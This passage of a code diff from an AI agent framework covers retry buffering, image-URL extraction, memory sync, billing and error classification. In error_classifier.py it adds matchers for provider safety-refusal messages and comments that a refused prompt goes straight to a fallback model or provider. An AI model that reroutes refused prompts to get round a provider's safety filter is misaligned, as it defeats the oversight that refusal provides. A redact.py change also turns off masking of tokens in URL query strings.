-                    agent._vprint(f"{agent.log_prefix}⚠️  Invalid JSON in tool call arguments for '{tool_name}': {error_msg}")
+                    agent._buffer_vprint(f"⚠️  Invalid JSON in tool call arguments for '{tool_name}': {error_msg}")
 
                     if agent._invalid_json_retries < 3:
-                        agent._vprint(f"{agent.log_prefix}🔄 Retrying API call ({agent._invalid_json_retries}/3)...")
+                        agent._buffer_vprint(f"🔄 Retrying API call ({agent._invalid_json_retries}/3)...")
                         # Don't add anything to messages, just retry the API call
                         continue
                     else:
                         # Instead of returning partial, inject tool error results so the model can recover.
                         # Using tool results (not user messages) preserves role alternation.
-                        agent._vprint(f"{agent.log_prefix}⚠️  Injecting recovery tool results for invalid JSON...")
+                        agent._buffer_vprint(f"⚠️  Injecting recovery tool results for invalid JSON...")
                         agent._invalid_json_retries = 0  # Reset for next attempt
                         
                         # Append the assistant message with its (broken) tool_calls
@@ -3715,7 +4008,7 @@ def run_conversation(
                             "Empty response after tool calls — nudging model "
                             "to continue processing"
                         )
-                        agent._emit_status(
+                        agent._buffer_status(
                             "⚠️ Model returned empty after tool calls — "
                             "nudging to continue"
                         )
@@ -3761,7 +4054,7 @@ def run_conversation(
                             "prefilling to continue (%d/2)",
                             agent._thinking_prefill_retries,
                         )
-                        agent._emit_status(
+                        agent._buffer_status(
                             f"↻ Thinking-only response — prefilling to continue "
                             f"({agent._thinking_prefill_retries}/2)"
                         )
@@ -3796,7 +4089,7 @@ def run_conversation(
                             "retry %d/3 (model=%s)",
                             agent._empty_content_retries, agent.model,
                         )
-                        agent._emit_status(
+                        agent._buffer_status(
                             f"⚠️ Empty response from model — retrying "
                             f"({agent._empty_content_retries}/3)"
                         )
@@ -3815,13 +4108,13 @@ def run_conversation(
                             agent._empty_content_retries, agent.model,
                             agent.provider,
                         )
-                        agent._emit_status(
+                        agent._buffer_status(
                             "⚠️ Model returning empty responses — "
                             "switching to fallback provider..."
                         )
                         if agent._try_activate_fallback():
                             agent._empty_content_retries = 0
-                            agent._emit_status(
+                            agent._buffer_status(
                                 f"↻ Switched to fallback: {agent.model} "
                                 f"({agent.provider})"
                             )
@@ -3835,6 +4128,9 @@ def run_conversation(
                     # Exhausted retries and fallback chain (or no
                     # fallback configured).  Fall through to the
                     # "(empty)" terminal.
+                    # Surface the buffered retry/fallback trace so the
+                    # user can see what was attempted before "(empty)".
+                    agent._flush_status_buffer()
                     _turn_exit_reason = "empty_response_exhausted"
                     reasoning_text = agent._extract_reasoning(assistant_message)
                     agent._drop_trailing_empty_response_scaffolding(messages)
@@ -3879,6 +4175,9 @@ def run_conversation(
                 # Reset retry counter/signature on successful content
                 agent._empty_content_retries = 0
                 agent._thinking_prefill_retries = 0
+                # Successful content reached — drop any buffered retry
+                # status from earlier failed attempts in this turn.
+                agent._clear_status_buffer()
 
                 if (
                     agent.api_mode == "codex_responses"
@@ -4262,6 +4561,7 @@ def run_conversation(
         original_user_message=original_user_message,
         final_response=final_response,
         interrupted=interrupted,
+        messages=messages,
     )
 
     # Background memory/skill review — runs AFTER the response is delivered

agent/credential_sources.py

@@ -240,11 +240,11 @@ def _clear_auth_store_provider(provider: str) -> bool:
 def _remove_nous_device_code(provider: str, removed) -> RemovalResult:
     """Nous OAuth lives in auth.json providers.nous — clear it and suppress.
 
-    We suppress in addition to clearing because nothing else stops the
-    user's next `hermes login` run from writing providers.nous again
-    before they decide to.  Suppression forces them to go through
-    `hermes auth add nous` to re-engage, which is the documented re-add
-    path and clears the suppression atomically.
+    We suppress in addition to clearing because nothing else stops a future
+    `hermes auth add nous` (or any other path that writes providers.nous)
+    from re-seeding before the user has decided to.  Suppression forces
+    them to go through `hermes auth add nous` to re-engage, which is the
+    documented re-add path and clears the suppression atomically.
     """
     result = RemovalResult()
     if _clear_auth_store_provider(provider):

agent/curator.py

@@ -390,7 +390,26 @@ CURATOR_REVIEW_PROMPT = (
     "(verification scripts, fixture generators, probes)\n"
     "      Then archive the old sibling. Use `terminal` with `mkdir -p "
     "~/.hermes/skills/<umbrella>/references/ && mv ... <umbrella>/"
-    "references/<topic>.md` (or templates/ / scripts/).\n"
+    "references/<topic>.md` (or templates/ / scripts/).\n\n"
+    "Package integrity — not optional:\n"
+    "Before demoting or archiving a skill, inspect it as a COMPLETE "
+    "directory package, not just SKILL.md. A skill root may include "
+    "`references/`, `templates/`, `scripts/`, and `assets/`; `skill_view` "
+    "discovers those relative to the skill root. A reference markdown file "
+    "inside another skill is NOT a new skill root and does not get its own "
+    "linked-file discovery.\n"
+    "If the source skill has support files OR SKILL.md contains relative "
+    "links such as `references/...`, `templates/...`, `scripts/...`, or "
+    "`assets/...`, DO NOT flatten only SKILL.md into "
+    "`<umbrella>/references/<old>.md`. Choose one safe path instead:\n"
+    "   • keep it as a standalone skill, OR\n"
+    "   • fully merge it by re-homing every needed support file into the "
+    "umbrella's canonical `references/`, `templates/`, `scripts/`, or "
+    "`assets/` directories AND rewrite the destination instructions to "
+    "the new paths, OR\n"
+    "   • archive the entire original skill package unchanged.\n"
+    "Never leave archived/demoted instructions pointing at files that were "
+    "left behind under the old skill directory.\n"
     "4. Also flag skills whose NAME is too narrow (contains a PR number, "
     "a feature codename, a specific error string, an 'audit' / "
     "'diagnosis' / 'salvage' session artifact). These almost always "

agent/display.py

@@ -904,10 +904,6 @@ def get_cute_tool_message(
             extra = f" +{len(urls)-1}" if len(urls) > 1 else ""
             return _wrap(f"┊ 📄 fetch     {_trunc(domain, 35)}{extra}  {dur}")
         return _wrap(f"┊ 📄 fetch     pages  {dur}")
-    if tool_name == "web_crawl":
-        url = args.get("url", "")
-        domain = url.replace("https://", "").replace("http://", "").split("/")[0]
-        return _wrap(f"┊ 🕸️  crawl     {_trunc(domain, 35)}  {dur}")
     if tool_name == "terminal":
         return _wrap(f"┊ 💻 $         {_trunc(args.get('command', ''), 42)}  {dur}")
     if tool_name == "process":

agent/error_classifier.py

@@ -44,12 +44,14 @@ class FailoverReason(enum.Enum):
     payload_too_large = "payload_too_large"  # 413 — compress payload
     image_too_large = "image_too_large"   # Native image part exceeds provider's per-image limit — shrink and retry
 
-    # Model
+    # Model / provider policy
     model_not_found = "model_not_found"  # 404 or invalid model — fallback to different model
     provider_policy_blocked = "provider_policy_blocked"  # Aggregator (e.g. OpenRouter) blocked the only endpoint due to account data/privacy policy
+    content_policy_blocked = "content_policy_blocked"  # Provider safety filter rejected this prompt — deterministic per-request, don't retry unchanged
 
     # Request format
     format_error = "format_error"        # 400 bad request — abort or strip + retry
+    invalid_encrypted_content = "invalid_encrypted_content"  # Responses replay blob rejected — strip replay state and retry
     multimodal_tool_content_unsupported = "multimodal_tool_content_unsupported"  # Provider rejected list-type content in tool messages (e.g. Xiaomi MiMo) — downgrade to text and retry
 
     # Provider-specific
@@ -96,13 +98,20 @@ _BILLING_PATTERNS = [
     "insufficient_quota",
     "insufficient balance",
     "credit balance",
+    "credits exhausted",
     "credits have been exhausted",
+    "no usable credits",
     "top up your credits",
     "payment required",
     "billing hard limit",
     "exceeded your current quota",
     "account is deactivated",
     "plan does not include",
+    "out of funds",
+    "run out of funds",
+    "balance_depleted",
+    "model_not_supported_on_free_tier",
+    "not available on the free tier",
 ]
 
 # Patterns that indicate rate limiting (transient, will resolve)
@@ -281,6 +290,45 @@ _PROVIDER_POLICY_BLOCKED_PATTERNS = [
     "no endpoints found matching your data policy",
 ]
 
+# Provider content-policy / safety-filter blocks. Distinct from
+# ``provider_policy_blocked`` above (which is an OpenRouter *account*-level
+# data/privacy guardrail) — these are *per-prompt* safety decisions made by
+# the upstream model provider. They are deterministic for the unchanged
+# request, so retrying the same prompt three times just reproduces the same
+# block and burns paid attempts on a refusal. The recovery is to switch to a
+# configured fallback model/provider immediately, or surface the block to
+# the user with actionable guidance if no fallback exists.
+#
+# Patterns are intentionally narrow — each phrase is a verbatim string from
+# a specific provider's safety pipeline, not a generic word like "policy" or
+# "violation" that could collide with billing/auth/format errors:
+#   • OpenAI Codex cybersecurity refusal (gpt-5.5, the case from #18028)
+#   • OpenAI moderation refusal ("violates our usage policies", with
+#     "usage policies" disambiguating from billing's "exceeded ... policy")
+#   • Anthropic safety refusal ("prompt was flagged by ... safety system")
+#   • OpenAI Responses content filter
+_CONTENT_POLICY_BLOCKED_PATTERNS = [
+    # OpenAI Codex (#18028) — message may arrive without an HTTP status
+    "flagged for possible cybersecurity risk",
+    "trusted access for cyber",
+    # OpenAI moderation — chat completions / responses
+    "violates our usage policies",
+    "violates openai's usage policies",
+    "your request was flagged by",
+    # Anthropic safety system
+    "prompt was flagged by our safety",
+    "responses cannot be generated due to safety",
+    # Generic content-filter wording seen on Azure / OpenAI Responses.
+    # ``content_filter`` (underscore) is the OpenAI-standard error/finish
+    # token surfaced verbatim by their SDKs when a request is blocked.
+    # ``responsibleaipolicyviolation`` is Azure OpenAI's error code.
+    # Deliberately NOT matching the space variant ("content filter") — it
+    # appears in benign config descriptions and tooltip text that providers
+    # echo back; the underscore form is provider-specific enough.
+    "content_filter",
+    "responsibleaipolicyviolation",
+]
+
 # Auth patterns (non-status-code signals)
 _AUTH_PATTERNS = [
     "invalid api key",
@@ -484,6 +532,20 @@ def classify_api_error(
 
     # ── 1. Provider-specific patterns (highest priority) ────────────
 
+    # Provider content-policy / safety-filter block. The provider has made a
+    # deterministic refusal decision about THIS prompt — retrying unchanged
+    # just reproduces the same refusal and burns paid attempts. Must run
+    # before status-based classification so a 400 safety block isn't
+    # downgraded to a generic ``format_error`` and a status-less block
+    # (OpenAI Codex SDK can raise without one) isn't left in the retryable
+    # ``unknown`` bucket. See issue #18028.
+    if any(p in error_msg for p in _CONTENT_POLICY_BLOCKED_PATTERNS):
+        return _result(
+            FailoverReason.content_policy_blocked,
+            retryable=False,
+            should_fallback=True,
+        )
+
     # Anthropic thinking block signature invalid (400).
     # Don't gate on provider — OpenRouter proxies Anthropic errors, so the
     # provider may be "openrouter" even though the error is Anthropic-specific.
@@ -689,8 +751,13 @@ def _classify_by_status(
         )
 
     if status_code == 403:
-        # OpenRouter 403 "key limit exceeded" is actually billing
-        if "key limit exceeded" in error_msg or "spending limit" in error_msg:
+        # OpenRouter 403 "key limit exceeded" is actually billing. Other
+        # providers also use 403 for account-plan or credit exhaustion.
+        if (
+            "key limit exceeded" in error_msg
+            or "spending limit" in error_msg
+            or any(p in error_msg for p in _BILLING_PATTERNS)
+        ):
             return result_fn(
                 FailoverReason.billing,
                 retryable=False,
@@ -707,6 +774,17 @@ def _classify_by_status(
         return _classify_402(error_msg, result_fn)
 
     if status_code == 404:
+        # Nous API currently surfaces HA/NAS credit depletion as a paid model
+        # becoming unavailable on the Free Tier, returned as 404 rather than
+        # 402. Treat that as entitlement/billing exhaustion, not a missing
+        # model, so the retry loop can show credit/top-up guidance.
+        if any(p in error_msg for p in _BILLING_PATTERNS):
+            return result_fn(
+                FailoverReason.billing,
+                retryable=False,
+                should_rotate_credential=True,
+                should_fallback=True,
+            )
         # OpenRouter policy-block 404 — distinct from "model not found".
         # The model exists; the user's account privacy setting excludes the
         # only endpoint serving it. Falling back to another provider won't
@@ -865,6 +943,26 @@ def _classify_400(
             retryable=True,
         )
 
+    # Invalid encrypted reasoning replay blob (OpenAI Responses API).  Must be
+    # checked BEFORE context_overflow because some surfaces emit messages that
+    # contain context-like phrasing ("encrypted content … could not be
+    # verified") which could otherwise trip the context_overflow heuristics.
+    # ``error_msg`` is lowercased upstream — match accordingly.
+    error_code_lower = (error_code or "").lower()
+    if (
+        error_code_lower == "invalid_encrypted_content"
+        or "invalid_encrypted_content" in error_msg
+        or (
+            "encrypted content for item" in error_msg
+            and "could not be verified" in error_msg
+        )
+    ):
+        return result_fn(
+            FailoverReason.invalid_encrypted_content,
+            retryable=True,
+            should_fallback=False,
+        )
+
     # Context overflow from 400
     if any(p in error_msg for p in _CONTEXT_OVERFLOW_PATTERNS):
         return result_fn(
@@ -952,7 +1050,15 @@ def _classify_by_error_code(
             should_rotate_credential=True,
         )
 
-    if code_lower in {"insufficient_quota", "billing_not_active", "payment_required"}:
+    if code_lower in {
+        "insufficient_quota",
+        "billing_not_active",
+        "payment_required",
+        "insufficient_credits",
+        "no_usable_credits",
+        "balance_depleted",
+        "model_not_supported_on_free_tier",
+    }:
         return result_fn(
             FailoverReason.billing,
             retryable=False,
@@ -974,6 +1080,13 @@ def _classify_by_error_code(
             should_compress=True,
         )
 
+    if code_lower == "invalid_encrypted_content":
+        return result_fn(
+            FailoverReason.invalid_encrypted_content,
+            retryable=True,
+            should_fallback=False,
+        )
+
     return None
 
 
@@ -1141,15 +1254,49 @@ def _extract_error_code(body: dict) -> str:
     """Extract an error code string from the response body."""
     if not body:
         return ""
+
+    def _code_from_payload(payload) -> str:
+        """Extract a code/type from a nested error payload dict (defensive)."""
+        if not isinstance(payload, dict):
+            return ""
+        payload_error = payload.get("error", {})
+        if isinstance(payload_error, dict):
+            nested = payload_error.get("code") or payload_error.get("type") or ""
+            if isinstance(nested, str) and nested.strip() and nested.strip() != "400":
+                return nested.strip()
+        code = payload.get("code") or payload.get("error_code") or ""
+        if isinstance(code, (str, int)):
+            text = str(code).strip()
+            if text and text != "400":
+                return text
+        return ""
+
     error_obj = body.get("error", {})
     if isinstance(error_obj, dict):
         code = error_obj.get("code") or error_obj.get("type") or ""
-        if isinstance(code, str) and code.strip():
+        if isinstance(code, str) and code.strip() and code.strip() != "400":
             return code.strip()
+
+        # Some providers wrap the real JSON error body as a string inside
+        # error.message — peek into it for a nested code (e.g. Responses API
+        # surfaces ``invalid_encrypted_content`` this way).
+        message = error_obj.get("message")
+        if isinstance(message, str) and message.strip().startswith("{"):
+            import json
+            try:
+                inner = json.loads(message)
+            except (json.JSONDecodeError, TypeError):
+                inner = None
+            nested_code = _code_from_payload(inner)
+            if nested_code:
+                return nested_code
+
     # Top-level code
     code = body.get("code") or body.get("error_code") or ""
     if isinstance(code, (str, int)):
-        return str(code).strip()
+        text = str(code).strip()
+        if text and text != "400":
+            return text
     return ""
 
 

agent/google_oauth.py

@@ -656,7 +656,7 @@ def get_valid_access_token(*, force_refresh: bool = False) -> str:
     creds = load_credentials()
     if creds is None:
         raise GoogleOAuthError(
-            "No Google OAuth credentials found. Run `hermes login --provider google-gemini-cli` first.",
+            "No Google OAuth credentials found. Run `hermes auth add google-gemini-cli` first.",
             code="google_oauth_not_logged_in",
         )
 

agent/image_routing.py

@@ -37,6 +37,8 @@ from __future__ import annotations
 import base64
 import logging
 import mimetypes
+import os
+import re
 from pathlib import Path
 from typing import Any, Dict, List, Optional, Tuple
 
@@ -46,6 +48,102 @@ logger = logging.getLogger(__name__)
 _VALID_MODES = frozenset({"auto", "native", "text"})
 
 
+# Image extensions used by extract_image_refs(). Kept tight on purpose — we
+# only auto-attach things the model can actually see. Documents/archives are
+# excluded because the gateway's broader extract_local_files() also routes
+# them differently (send_document), and we don't want to attach a PDF as a
+# vision part.
+_IMAGE_EXTS = (
+    ".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp", ".tiff", ".tif", ".heic",
+)
+_IMAGE_EXT_PATTERN = "|".join(e.lstrip(".") for e in _IMAGE_EXTS)
+
+# Absolute / home-relative local image path. Matches the same shape gateway's
+# extract_local_files() uses: anchors to ``~/`` or ``/``, ignores matches inside
+# URLs (the ``(?<![/:\w.])`` lookbehind), and case-insensitive on the extension.
+_LOCAL_IMAGE_PATH_RE = re.compile(
+    r"(?<![/:\w.])(?:~/|/)(?:[\w.\-]+/)*[\w.\-]+\.(?:" + _IMAGE_EXT_PATTERN + r")\b",
+    re.IGNORECASE,
+)
+
+# http(s) URL ending in an image extension (optionally followed by a
+# query string). Case-insensitive on the extension. Strict ``http(s)://``
+# scheme so we don't accidentally grab ``file://`` URLs or other shapes.
+_IMAGE_URL_RE = re.compile(
+    r"https?://[^\s<>\"']+?\.(?:" + _IMAGE_EXT_PATTERN + r")(?:\?[^\s<>\"']*)?",
+    re.IGNORECASE,
+)
+
+
+def extract_image_refs(text: str) -> Tuple[List[str], List[str]]:
+    """Scan free-form text for image references the model should see.
+
+    Returns ``(local_paths, urls)``:
+
+      * ``local_paths`` — absolute (``/``) or home-relative (``~/``) paths
+        whose suffix is an image extension AND whose expanded form exists
+        on disk as a file. Order-preserving, deduplicated.
+      * ``urls`` — ``http(s)://…`` URLs whose path ends in an image
+        extension (a ``?query`` is allowed after the extension).
+        Order-preserving, deduplicated.
+
+    Matches inside fenced code blocks (``` ``` ```) and inline backticks
+    (`` `…` ``) are skipped so that snippets pasted into a task body for
+    reference aren't mistaken for live attachments. This mirrors the
+    behaviour of ``gateway.platforms.base.BaseAdapter.extract_local_files``.
+
+    Local paths are validated against the filesystem; URLs are not
+    (the provider fetches them at request time).
+    """
+    if not isinstance(text, str) or not text:
+        return [], []
+
+    # Build spans covered by fenced code blocks and inline code so we can
+    # ignore references the author embedded purely as example text.
+    code_spans: list[tuple[int, int]] = []
+    for m in re.finditer(r"```[^\n]*\n.*?```", text, re.DOTALL):
+        code_spans.append((m.start(), m.end()))
+    for m in re.finditer(r"`[^`\n]+`", text):
+        code_spans.append((m.start(), m.end()))
+
+    def _in_code(pos: int) -> bool:
+        return any(s <= pos < e for s, e in code_spans)
+
+    local_paths: list[str] = []
+    seen_paths: set[str] = set()
+    for match in _LOCAL_IMAGE_PATH_RE.finditer(text):
+        if _in_code(match.start()):
+            continue
+        raw = match.group(0)
+        expanded = os.path.expanduser(raw)
+        try:
+            if not os.path.isfile(expanded):
+                continue
+        except OSError:
+            # ENAMETOOLONG / EINVAL on pathological inputs — skip rather than crash.
+            continue
+        if expanded in seen_paths:
+            continue
+        seen_paths.add(expanded)
+        local_paths.append(expanded)
+
+    urls: list[str] = []
+    seen_urls: set[str] = set()
+    for match in _IMAGE_URL_RE.finditer(text):
+        if _in_code(match.start()):
+            continue
+        url = match.group(0)
+        # Strip trailing punctuation that's almost certainly prose, not part
+        # of the URL (e.g. "see https://x.com/a.png." or "/a.png)").
+        url = url.rstrip(".,;:!?)]>")
+        if url in seen_urls:
+            continue
+        seen_urls.add(url)
+        urls.append(url)
+
+    return local_paths, urls
+
+
 # Strict YAML/JSON boolean coercion for capability overrides.
 #
 # ``bool("false")`` is True in Python because non-empty strings are truthy, so
@@ -320,20 +418,29 @@ def _file_to_data_url(path: Path) -> Optional[str]:
 def build_native_content_parts(
     user_text: str,
     image_paths: List[str],
+    image_urls: Optional[List[str]] = None,
 ) -> Tuple[List[Dict[str, Any]], List[str]]:
     """Build an OpenAI-style ``content`` list for a user turn.
 
     Shape:
       [{"type": "text", "text": "...\\n\\n[Image attached at: /local/path]"},
        {"type": "image_url", "image_url": {"url": "data:image/png;base64,..."}},
+       {"type": "image_url", "image_url": {"url": "https://example.com/a.png"}},
        ...]
 
-    The local path of each successfully attached image is appended to the
-    text part as ``[Image attached at: <path>]``. The model still sees the
-    pixels via the ``image_url`` part (full native vision); the path note
-    just gives it a string handle so MCP/skill tools that take an image
-    path or URL argument can be invoked on the same image without an
-    extra round-trip. This parallels the text-mode hint produced by
+    Local paths are read from disk and embedded as base64 ``data:`` URLs.
+    Remote URLs (``http(s)://``) are passed through verbatim — the provider
+    fetches them server-side. The model still sees the pixels either way.
+
+    For each successfully attached image, a hint is appended to the text
+    part:
+
+      * local path → ``[Image attached at: <path>]``
+      * URL        → ``[Image attached: <url>]``
+
+    The hint gives the model a string handle so MCP/skill tools that take
+    an image path or URL argument can be invoked on the same image without
+    an extra round-trip. This parallels the text-mode hint produced by
     ``Runner._enrich_message_with_vision`` (``vision_analyze using image_url:
     <path>``) so behaviour is consistent across both image input modes.
 
@@ -342,12 +449,14 @@ def build_native_content_parts(
     ceiling), the agent's retry loop transparently shrinks and retries
     once — see ``run_agent._try_shrink_image_parts_in_messages``.
 
-    Returns (content_parts, skipped_paths). Skipped paths are files that
-    couldn't be read from disk and are NOT advertised in the path hints.
+    Returns (content_parts, skipped). Skipped entries are local paths
+    that couldn't be read from disk; URLs are never skipped (they're
+    not validated here).
     """
     skipped: List[str] = []
     image_parts: List[Dict[str, Any]] = []
     attached_paths: List[str] = []
+    attached_urls: List[str] = []
 
     for raw_path in image_paths:
         p = Path(raw_path)
@@ -364,16 +473,26 @@ def build_native_content_parts(
         })
         attached_paths.append(str(raw_path))
 
+    for url in image_urls or []:
+        url = (url or "").strip()
+        if not url:
+            continue
+        image_parts.append({
+            "type": "image_url",
+            "image_url": {"url": url},
+        })
+        attached_urls.append(url)
+
     text = (user_text or "").strip()
 
     # If at least one image attached, build a single text part that combines
-    # the user's caption (or a neutral default) with one path hint per image.
-    if attached_paths:
+    # the user's caption (or a neutral default) with one hint per image.
+    if attached_paths or attached_urls:
         base_text = text or "What do you see in this image?"
-        path_hints = "\n".join(
-            f"[Image attached at: {p}]" for p in attached_paths
-        )
-        combined_text = f"{base_text}\n\n{path_hints}"
+        hint_lines: List[str] = []
+        hint_lines.extend(f"[Image attached at: {p}]" for p in attached_paths)
+        hint_lines.extend(f"[Image attached: {u}]" for u in attached_urls)
+        combined_text = f"{base_text}\n\n" + "\n".join(hint_lines)
         parts: List[Dict[str, Any]] = [{"type": "text", "text": combined_text}]
         parts.extend(image_parts)
         return parts, skipped
@@ -388,4 +507,5 @@ def build_native_content_parts(
 __all__ = [
     "decide_image_input_mode",
     "build_native_content_parts",
+    "extract_image_refs",
 ]

agent/jiter_preload.py

@@ -0,0 +1,39 @@
+"""Best-effort early import for the OpenAI SDK's native streaming parser.
+
+The OpenAI SDK imports ``jiter`` while constructing streaming chat-completion
+responses.  On some Windows installs the native extension can be imported
+directly from the Hermes venv, but the first import fails when it happens later
+inside the threaded streaming request path.  Loading it once during agent
+package import avoids that import-order failure while preserving the normal
+SDK error path for genuinely missing or broken installs.
+"""
+
+from __future__ import annotations
+
+import importlib
+
+_JITER_PRELOADED = False
+_JITER_PRELOAD_ERROR: Exception | None = None
+
+
+def preload_jiter_native_extension() -> bool:
+    """Import jiter's native extension early if it is available."""
+
+    global _JITER_PRELOADED, _JITER_PRELOAD_ERROR
+
+    if _JITER_PRELOADED:
+        return True
+
+    try:
+        importlib.import_module("jiter.jiter")
+        from jiter import from_json as _from_json  # noqa: F401
+    except Exception as exc:
+        _JITER_PRELOAD_ERROR = exc
+        return False
+
+    _JITER_PRELOADED = True
+    _JITER_PRELOAD_ERROR = None
+    return True
+
+
+preload_jiter_native_extension()

agent/memory_manager.py

@@ -368,11 +368,42 @@ class MemoryManager:
 
     # -- Sync ----------------------------------------------------------------
 
-    def sync_all(self, user_content: str, assistant_content: str, *, session_id: str = "") -> None:
+    @staticmethod
+    def _provider_sync_accepts_messages(provider: MemoryProvider) -> bool:
+        """Return whether sync_turn accepts a messages keyword."""
+        try:
+            signature = inspect.signature(provider.sync_turn)
+        except (TypeError, ValueError):
+            return True
+        params = list(signature.parameters.values())
+        if any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params):
+            return True
+        return "messages" in signature.parameters
+
+    def sync_all(
+        self,
+        user_content: str,
+        assistant_content: str,
+        *,
+        session_id: str = "",
+        messages: Optional[List[Dict[str, Any]]] = None,
+    ) -> None:
         """Sync a completed turn to all providers."""
         for provider in self._providers:
             try:
-                provider.sync_turn(user_content, assistant_content, session_id=session_id)
+                if messages is not None and self._provider_sync_accepts_messages(provider):
+                    provider.sync_turn(
+                        user_content,
+                        assistant_content,
+                        session_id=session_id,
+                        messages=messages,
+                    )
+                else:
+                    provider.sync_turn(
+                        user_content,
+                        assistant_content,
+                        session_id=session_id,
+                    )
             except Exception as e:
                 logger.warning(
                     "Memory provider '%s' sync_turn failed: %s",

agent/memory_provider.py

@@ -78,6 +78,7 @@ class MemoryProvider(ABC):
           - agent_workspace (str): Shared workspace name (e.g. "hermes").
           - parent_session_id (str): For subagents, the parent's session_id.
           - user_id (str): Platform user identifier (gateway sessions).
+          - user_id_alt (str): Optional alternate stable platform user identifier.
         """
 
     def system_prompt_block(self) -> str:
@@ -111,11 +112,22 @@ class MemoryProvider(ABC):
         that do background prefetching should override this.
         """
 
-    def sync_turn(self, user_content: str, assistant_content: str, *, session_id: str = "") -> None:
+    def sync_turn(
+        self,
+        user_content: str,
+        assistant_content: str,
+        *,
+        session_id: str = "",
+        messages: Optional[List[Dict[str, Any]]] = None,
+    ) -> None:
         """Persist a completed turn to the backend.
 
         Called after each turn. Should be non-blocking — queue for
         background processing if the backend has latency.
+
+        ``messages`` is the OpenAI-style conversation message list as of the
+        completed turn, including any assistant tool calls and tool results.
+        Providers that do not need raw turn context can ignore it.
         """
 
     @abstractmethod

agent/model_metadata.py

@@ -47,7 +47,7 @@ def _resolve_requests_verify() -> bool | str:
 _PROVIDER_PREFIXES: frozenset[str] = frozenset({
     "openrouter", "nous", "openai-codex", "copilot", "copilot-acp",
     "gemini", "ollama-cloud", "zai", "kimi-coding", "kimi-coding-cn", "stepfun", "minimax", "minimax-oauth", "minimax-cn", "anthropic", "deepseek",
-    "opencode-zen", "opencode-go", "ai-gateway", "kilocode", "alibaba", "novita",
+    "opencode-zen", "opencode-go", "kilocode", "alibaba", "novita",
     "qwen-oauth",
     "xiaomi",
     "arcee",
@@ -59,7 +59,7 @@ _PROVIDER_PREFIXES: frozenset[str] = frozenset({
     "glm", "z-ai", "z.ai", "zhipu", "github", "github-copilot",
     "github-models", "kimi", "moonshot", "kimi-cn", "moonshot-cn", "claude", "deep-seek",
     "ollama",
-    "stepfun", "opencode", "zen", "go", "vercel", "kilo", "dashscope", "aliyun", "qwen",
+    "stepfun", "opencode", "zen", "go", "kilo", "dashscope", "aliyun", "qwen",
     "mimo", "xiaomi-mimo",
     "tencent", "tokenhub", "tencent-cloud", "tencentmaas",
     "arcee-ai", "arceeai",
@@ -141,6 +141,8 @@ DEFAULT_CONTEXT_LENGTHS = {
     # fuzzy-match collisions (e.g. "anthropic/claude-sonnet-4" is a
     # substring of "anthropic/claude-sonnet-4.6").
     # OpenRouter-prefixed models resolve via OpenRouter live API or models.dev.
+    "claude-opus-4-8": 1000000,
+    "claude-opus-4.8": 1000000,
     "claude-opus-4-7": 1000000,
     "claude-opus-4.7": 1000000,
     "claude-opus-4-6": 1000000,
@@ -911,12 +913,33 @@ def parse_context_limit_from_error(error_msg: str) -> Optional[int]:
     return None
 
 
+def get_context_length_from_provider_error(
+    error_msg: str,
+    current_context_length: int,
+) -> Optional[int]:
+    """Return a provider-reported lower context limit, if one is present.
+
+    Context-overflow recovery must not invent a new model window size.  Some
+    providers only say that the input exceeds the context window without
+    reporting the actual maximum.  In that case callers should keep the
+    configured context length and try compression only, rather than stepping
+    down through guessed probe tiers (1M → 256K → 128K → ...).
+    """
+    parsed_limit = parse_context_limit_from_error(error_msg)
+    if parsed_limit is None:
+        return None
+    if parsed_limit < current_context_length:
+        return parsed_limit
+    return None
+
+
 def parse_available_output_tokens_from_error(error_msg: str) -> Optional[int]:
     """Detect an "output cap too large" error and return how many output tokens are available.
 
     Background — two distinct context errors exist:
       1. "Prompt too long"  — the INPUT itself exceeds the context window.
-           Fix: compress history and/or halve context_length.
+           Fix: compress history, and only reduce context_length if the
+           provider explicitly reports the actual lower limit.
       2. "max_tokens too large" — input is fine, but input + requested_output > window.
            Fix: reduce max_tokens (the output cap) for this call.
            Do NOT touch context_length — the window hasn't shrunk.

agent/models_dev.py

@@ -158,7 +158,6 @@ PROVIDER_TO_MODELS_DEV: Dict[str, str] = {
     "alibaba": "alibaba",
     "qwen-oauth": "alibaba",
     "copilot": "github-copilot",
-    "ai-gateway": "vercel",
     "opencode-zen": "opencode",
     "opencode-go": "opencode-go",
     "kilocode": "kilo",

agent/prompt_builder.py

@@ -610,7 +610,7 @@ WSL_ENVIRONMENT_HINT = (
 # misleading — the agent should only see the machine it can actually touch.
 _REMOTE_TERMINAL_BACKENDS = frozenset({
     "docker", "singularity", "modal", "daytona", "ssh",
-    "vercel_sandbox", "managed_modal",
+    "managed_modal",
 })
 
 
@@ -624,7 +624,6 @@ _BACKEND_FALLBACK_DESCRIPTIONS: dict[str, str] = {
     "modal": "a Modal sandbox (Linux)",
     "managed_modal": "a managed Modal sandbox (Linux)",
     "daytona": "a Daytona workspace (Linux)",
-    "vercel_sandbox": "a Vercel sandbox (Linux)",
     "ssh": "a remote host reached over SSH (likely Linux)",
 }
 
@@ -738,7 +737,7 @@ def build_environment_hints() -> str:
       and a Windows-only note that `terminal` shells out to bash, not
       PowerShell).
     - For **remote / sandbox** terminal backends (docker, singularity,
-      modal, daytona, ssh, vercel_sandbox): host info is **suppressed**
+      modal, daytona, ssh): host info is **suppressed**
       because the agent's tools can't touch the host — only the backend
       matters. A live probe inside the backend reports its OS, user, $HOME,
       and cwd. Falls back to a static summary if the probe fails.

agent/redact.py

@@ -406,19 +406,14 @@ def redact_sensitive_text(text: str, *, force: bool = False, code_file: bool = F
     if "eyJ" in text:
         text = _JWT_RE.sub(lambda m: _mask_token(m.group(0)), text)
 
-    # URL userinfo (http(s)://user:pass@host) — redact for non-DB schemes.
-    # DB schemes are handled above by _DB_CONNSTR_RE.
-    if "://" in text:
-        text = _redact_url_userinfo(text)
-
-        # URL query params containing opaque tokens (?access_token=…&code=…)
-        if "?" in text:
-            text = _redact_url_query_params(text)
-
-    # HTTP access logs can contain relative request targets with query params
-    # and no URL scheme, e.g. `"POST /hook?password=... HTTP/1.1"`.
-    if "?" in text and "=" in text and _has_http_method_substring(text):
-        text = _redact_http_request_target_query_params(text)
+    # NOTE: Web-URL redaction (query params + userinfo + HTTP access-log
+    # request targets) is intentionally OFF. Many legitimate workflows pass
+    # opaque tokens through query strings — magic-link checkouts, OAuth
+    # callbacks the agent is meant to follow, pre-signed share URLs — and
+    # blanket-redacting param values by name breaks those skills mid-flow.
+    # Known credential shapes (sk-, ghp_, JWTs, etc.) inside URLs are still
